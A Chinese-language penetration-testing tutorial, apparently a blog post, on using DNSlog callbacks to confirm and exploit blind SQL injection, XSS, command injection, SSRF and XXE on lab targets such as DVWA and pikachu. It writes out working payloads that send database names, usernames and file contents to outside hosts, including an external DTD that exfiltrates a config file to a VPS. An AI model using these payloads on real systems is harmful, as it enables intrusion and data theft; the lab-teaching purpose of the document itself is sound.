花5分钟就能上手的dnslog盲打小技巧!

简介: DNSlog是什么?DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件

1.什么是dnslog

DNSlog是什么?DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件


2.dnslog通常用在哪个地方

1.SQL盲注2.无回显的XSS3.无回显的命令执行5.无回显的SSRF5.Blind XXE

2.1.SQL盲注

无论时时间盲注还是布尔盲注,都需要发送大量的数据包去判断数据,很容易导致被waf封IP,如果条件允许的话,可以使用dnslog进行快速的数据外带。以Mysql为例,通过dnslog外带数据需要用到load_file函数,所以一般得是root权限,并且secure_file_priv得为空
payload:select load_file(concat('\\\\',(select hex(user())),'.dnslog\\aa'));注意:后面的aa文件存不存在不重要,随便写都行,但是必须要写,因为是load_file函数需要的条件
以dvwa靶场为例(已手动修改:secure_file_priv=”):
payload:1' and (select load_file(concat('//',(select hex(user())),'.xxxx.ceye.io/as')))# //查看当前用户1' and (select load_file(concat('//',(select database()),'.xxxx.ceye.io/as')))#  //查数据库1' and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io/as')))#  //查询当前数据库第一个表,第二个类推

微信图片_20211019005206.png

2.2.无回显的XSS

payload:<ImG src=http://xss.9e5ehg.dnslog.cn>

微信图片_20211019005216.png

然后回头看下dnslog,证明漏洞存在。

微信图片_20211019005228.png

2.3.无回显的命令注入

发现疑似命令执行的洞,但是目标站点什么也不显示,无法确认是不是有漏洞。
windows:ping %USERNAME%.us0r6c.dnslog.cn
linux:ping `whoami`.us0r6c.dnslog.cn 或者 x=`hostname`;ping -c 1 $x.d7jlma.dnslog.cn

微信图片_20211019005235.png

微信图片_20211019005244.png

微信图片_20211019005250.png

下面是windows常用的变量。
//变量                     类型       描述//%ALLUSERSPROFILE%        本地       返回“所有用户”配置文件的位置。//%APPDATA%                本地       返回默认情况下应用程序存储数据的位置。//%CD%                     本地       返回当前目录字符串。//%CMDCMDLINE%             本地       返回用来启动当前的 Cmd.exe 的准确命令行。//%CMDEXTVERSION%          系统       返回当前的“命令处理程序扩展”的版本号。//%COMPUTERNAME%           系统       返回计算机的名称。//%COMSPEC%                系统       返回命令行解释器可执行程序的准确路径。//%DATE%                   系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。//%ERRORLEVEL%             系统       返回上一条命令的错误代码。通常用非零值表示错误。//%HOMEDRIVE%              系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。//%HOMEPATH%               系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。//%HOMESHARE%              系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。//%LOGONSERVER%            本地       返回验证当前登录会话的域控制器的名称。//%NUMBER_OF_PROCESSORS%   系统       指定安装在计算机上的处理器的数目。//%OS%                     系统       返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。//%PATH%                   系统       指定可执行文件的搜索路径。//%PATHEXT%                系统       返回操作系统认为可执行的文件扩展名的列表。//%PROCESSOR_ARCHITECTURE% 系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。//%PROCESSOR_IDENTFIER%    系统       返回处理器说明。//%PROCESSOR_LEVEL%        系统       返回计算机上安装的处理器的型号。//%PROCESSOR_REVISION%     系统       返回处理器的版本号。//%P ROMPT%                 本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。//%RANDOM%                 系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。//%SYSTEMDRIVE%            系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。//%SYSTEMROOT%             系统       返回 Windows server operating system 根目录的位置。//%TEMP%和%TMP%            系统和用户  返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。//%TIME%                   系统       返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。//%USERDOMAIN%             本地       返回包含用户帐户的域的名称。//%USERNAME%               本地       返回当前登录的用户的名称。//%USERPROFILE%            本地       返回当前用户的配置文件的位置。//%WINDIR%                 系统       返回操作系统目录的位置。

2.4.无回显的SSRF

这边用的是vulhub的一个weblogic的ssrf漏洞。
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://rsr8pf.dnslog.cn然后查看dnslog有记录,就很有可能存在ssrf漏洞

微信图片_20211019005301.png

2.5.Blind XXE

这边用的是pikachu靶场,项目地址:https://github.com/zhuifengshaonianhanlu/pikachu
2.5.1.未修改源码前,可以看到是有回显的。
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///C://phpstudy_pro/Extensions/MySQL5.7.26/my.ini" >]><value>&xxe;</value>

微信图片_20211019005312.png

2.5.2.修改源码,使其变成无回显。

微信图片_20211019005318.png


<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "http://zhwzti.dnslog.cn" >]><value>&xxe;</value>
无回显,但是可以看到dnslog收到请求,证明xxe漏洞存在。

微信图片_20211019005329.png


文件读取
注:这里需要一个VPS,VPS中放入一个DTD的文件,文件dtd内容如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C://phpstudy_pro/Extensions/MySQL5.7.26/my.ini"><!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.232.131:1333/?p=%file;'">
然后利用python3开启http服务。
python3 -m http.server --bind 0.0.0.0 1333

微信图片_20211019005335.png


pyload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://192.168.232.131:1333/evil.dtd">
%dtd;%int;%send;]>


微信图片_20211019005341.png

burp suite提交数据后,vps获得一串base64编码。

微信图片_20211019005347.png

将base64编码拿去解码后就是my.ini的文件内容。

微信图片_20211019005353.png

目录
相关文章
|
Kubernetes 前端开发 IDE
自学编程,省去上万元的学费
自学编程,省去上万元的学费
160 0
自学编程,省去上万元的学费
|
程序员 开发者
程序新人入职,如何才能快速上手呢?
程序新人入职,如何才能快速上手呢?
|
消息中间件 Oracle 架构师
花2万块买的教程!java编程入门到精通
花2万块买的教程!java编程入门到精通
花2万块买的教程!java编程入门到精通
|
Kubernetes 监控 数据可视化
又一款神器:半小时带你轻松上手k8s
之前我在自己本地的mac部署k8s的时候都是基于minikube去运行的,今天决定尝试学习一种新的方式去玩k8s,这次选择使用的是Rancher Desktop工具。下边是我入坑的一些记录,希望给有需要的读者能够提供一些帮助。
又一款神器:半小时带你轻松上手k8s
|
算法 项目管理
新手项目经理入坑指南
我们邀请大淘宝技术PMO团队的鹿迦来聊聊新同学如何成长为一名合格的项目经理。
382 0
新手项目经理入坑指南
|
程序员 开发者
作为开发者,你天天加班,做的累不累?
作为开发者,你天天加班,做的累不累?
作为开发者,你天天加班,做的累不累?
|
算法 Dubbo Java
3 条掏心掏肺的建议,新手学习编程必备,快上车!
3 条掏心掏肺的建议,新手学习编程必备,快上车!
129 0
|
监控 前端开发 Cloud Native
程序员如何快速上手一个新项目?
作为开发人员,我们不可避免地会遇到如下场景,一是接手前同事的项目,二是参与到新的项目组开发。 如果项目不紧急留给我们时间去了解业务还好,一旦项目紧急,则会让我们感觉到压力山大。这个时候必须要有一套行之有效的方案,能够引导我们快速步入正轨。 成熟的程序员,擅长从过往经验里总结出快速上手和熟悉新项目的技巧。 今天我们邀请了4名淘系技术工程师,给大家分享一些他们在接手新项目时的方法心得,希望对换工作或者换业务的你有帮助。
程序员如何快速上手一个新项目?